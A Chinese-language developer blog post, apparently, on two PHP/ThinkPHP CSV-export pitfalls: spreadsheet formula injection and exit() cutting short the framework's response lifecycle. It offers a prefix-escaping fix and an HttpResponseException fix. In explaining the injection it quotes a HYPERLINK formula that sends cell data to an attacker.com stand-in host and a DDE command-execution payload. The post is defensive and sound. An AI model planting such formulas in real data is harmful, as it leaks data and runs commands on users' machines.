PHP CSV 导出的两个隐形炸弹:注入攻击 + 框架生命周期破坏
「不就是拼个字符串然后 header + echo + exit 吗」——这是我当时的心理活动。后台管理系统加了一个订单导出功能,测试通过,上线。两周后安全扫描告警,才发现两个问题同时存在。
现象
问题一:运营导出 CSV 后用 Excel 打开,某些单元格显示异常,部分包含 = 或 + 开头的用户输入字段被 Excel 识别为公式执行了。更危险的是,如果用户曾填写过类似 =HYPERLINK("http://attacker.com?d="&A1,"点我") 的内容,Excel 会静默发起外联请求,数据就这么泄出去了。
问题二:导出接口的 CORS 中间件 after 回调偶发性不执行,全局异常处理在导出出错时输出乱码(headers 已发送后再输出 JSON 错误体,浏览器收到的是一锅粥)。
根因
坑一:CSV 注入(Formula Injection)
Excel 有一个行为:单元格内容若以 =、+、-、@、\t、\r 开头,会被解释为公式。这是 Excel 自身的特性,与 PHP 无关。手动拼接 CSV 时只做了 str_replace('"', '""', $value) 防双引号转义,完全没有拦截公式前缀字符:
// 只防了双引号,没防公式注入
$csv .= '"' . str_replace('"', '""', $row['remark']) . '"';攻击者只需在任意文本输入框里填写以 = 开头的 payload,就能把公式注入到导出文件里。
=CMD(|'/C calc'!A0) 或 =HYPERLINK(...) 这类 payload 从任意表单输入进数据库,导出时原样落进 CSV 单元格,Excel 打开即执行。运营侧感知不到,安全团队也难在代码层发现——漏洞面在数据内容上,不在传输层。
坑二:echo + exit 静默破坏 ThinkPHP 生命周期
// 常见但危险的写法
header('Content-Type: text/csv');
echo $csv;
exit; // 直接杀进程,框架后续钩子全跳过exit 会绕过 ThinkPHP 的响应处理管道:中间件的 after() 方法不执行、异常处理器失效、日志 flush 时序乱。表现上是「能用」,但一旦导出中途抛异常,headers 已经发送,框架的 $this->error() 再往 Content-Type: text/csv 的流里写 JSON,客户端一脸懵。
exit / die 在框架应用中几乎永远是错的。它让你以为请求结束了,实际上是强行截断了框架自己的生命周期管理。后果是随机的、延迟暴露的。
正解
两个问题一起解决:用 csvSafe 函数给所有字段值做前缀检查,用 HttpResponseException 代替 exit 维持框架生命周期。
use think\exception\HttpResponseException;
public function export(): void
{
try {
$list = Db::name('orders')
->where(...)
->limit(10000)
->select()->toArray();
$output = fopen('php://temp', 'r+');
fwrite($output, "\xEF\xBB\xBF"); // UTF-8 BOM,Excel 中文不乱码
fputcsv($output, ['订单号', '金额', '备注']);
foreach ($list as $row) {
fputcsv($output, self::csvSafeRow([
$row['order_no'] ?? '',
$row['amount'] ?? '',
$row['remark'] ?? '',
]));
}
rewind($output);
$csv = stream_get_contents($output);
fclose($output);
// 用 HttpResponseException 代替 exit,框架生命周期完整保留
throw new HttpResponseException(response($csv, 200, [
'Content-Type' => 'text/csv; charset=UTF-8',
'Content-Disposition' => 'attachment; filename="export_' . date('Ymd_His') . '.csv"',
]));
} catch (HttpResponseException $e) {
throw $e; // 必须在 catch(\Throwable) 之前重新抛出,否则被吞掉
} catch (\Throwable $e) {
Log::error('导出失败: ' . $e->getMessage());
$this->error('导出失败');
}
}
protected static function csvSafe(string $value): string
{
// 以公式前缀字符开头时加单引号,Excel 不再解释为公式
if ($value !== '' && in_array($value[0], ['=', '+', '-', '@', "\t", "\r"])) {
return "'" . $value;
}
return $value;
}
protected static function csvSafeRow(array $row): array
{
return array_map(
fn($v) => is_string($v) ? self::csvSafe($v) : $v,
$row
);
}csvSafeRow在fputcsv前给每个字段做前缀检查,注入防护在数据层完成,与 Excel 版本无关。HttpResponseException让 ThinkPHP 正常走完响应管道,中间件、异常处理、日志 flush 全部保持正常。catch (HttpResponseException $e) { throw $e; }这一行不能省——否则会被外层catch(\Throwable)吞掉。
一句话外卖
在 PHP 框架里导出文件:用
fputcsv+ 公式前缀转义防注入,用HttpResponseException代替exit保框架生命周期——两个问题都是「能跑不代表没坑」的典型。